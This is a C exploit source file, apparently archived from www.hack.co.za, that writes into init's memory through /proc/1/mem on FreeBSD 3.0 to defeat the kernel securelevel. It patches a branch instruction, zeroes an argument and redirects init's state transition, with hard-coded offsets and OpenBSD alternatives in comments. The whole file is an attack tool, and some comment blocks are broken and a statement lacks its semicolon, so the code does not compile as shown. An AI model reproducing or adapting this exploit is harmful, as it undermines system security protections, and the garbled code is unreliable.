/* FreeBSD 3.0 /sbin/init / procfs securelevel exploit */

#include <stdio.h>
#include <fcntl.h>
#include <errno.h>

/* these offsets are for FreeBSD 3.0 /sbin/init. Incorrect offsets
 * will cause your system to crash.
 */

/* offset to the beginning of the multi_user() routine */
* OpenBSD:
0x2eb4
*/

#define  MULTI_USER_ROUTINE             0x27f8

/* offset of the JNE instruction in multi_user() [2000]*/
* OpenBSD:
0x2eb4 + 21
*/

#define  EVALUATE_TRUE                  (0x27f8 + 21)

/* offset of the argument to the PUSH instruction[2000]*/
* OpenBSD:
0x2eb4 + 24
*/

#define  SET_TO_ZERO                    (0x27f8 + 24)

/* offset of the "requested_transition" variable [2000]*/
* OpenBSD:
0x290b8
*/

#define  TRANSITION_TO_MULTI_USER       0x2f0a0
#define  INIT_MEMORY_FILE               "/proc/1/mem"

/* invariant */

#define  JNE                            0x74
extern int errno;

int main(int argc, char **argv)
{
  int init_mem;
  char c;
  int i;

  /* access init's virtual memory image */

  init_mem = open(INIT_MEMORY_FILE, O_RDWR);
  if(init_mem < 0)
    {
      perror("open");
      exit(errno);
    }
  c = JNE;

  /* change == to != (JE to JNE)  */

  lseek(init_mem, EVALUATE_TRUE, SEEK_SET);
  write(init_mem, &c, 1);
  c = 0x0;

  /* change 1 to 0          [2000]*/

  lseek(init_mem, SET_TO_ZERO, SEEK_SET);
  write(init_mem, &c, 1);

  /* change next state transition to multi_user */

  i = MULTI_USER_ROUTINE;
  lseek(init_mem, TRANSITION_TO_MULTI_USER, SEEK_SET);
  write(init_mem, &i, 4);
  close(init_mem);

  /* force an init state transition */

  if(!fork())
    exit(0)
    usleep(10000);
  exit(0);
}
/*                    www.hack.co.za              [2000]*/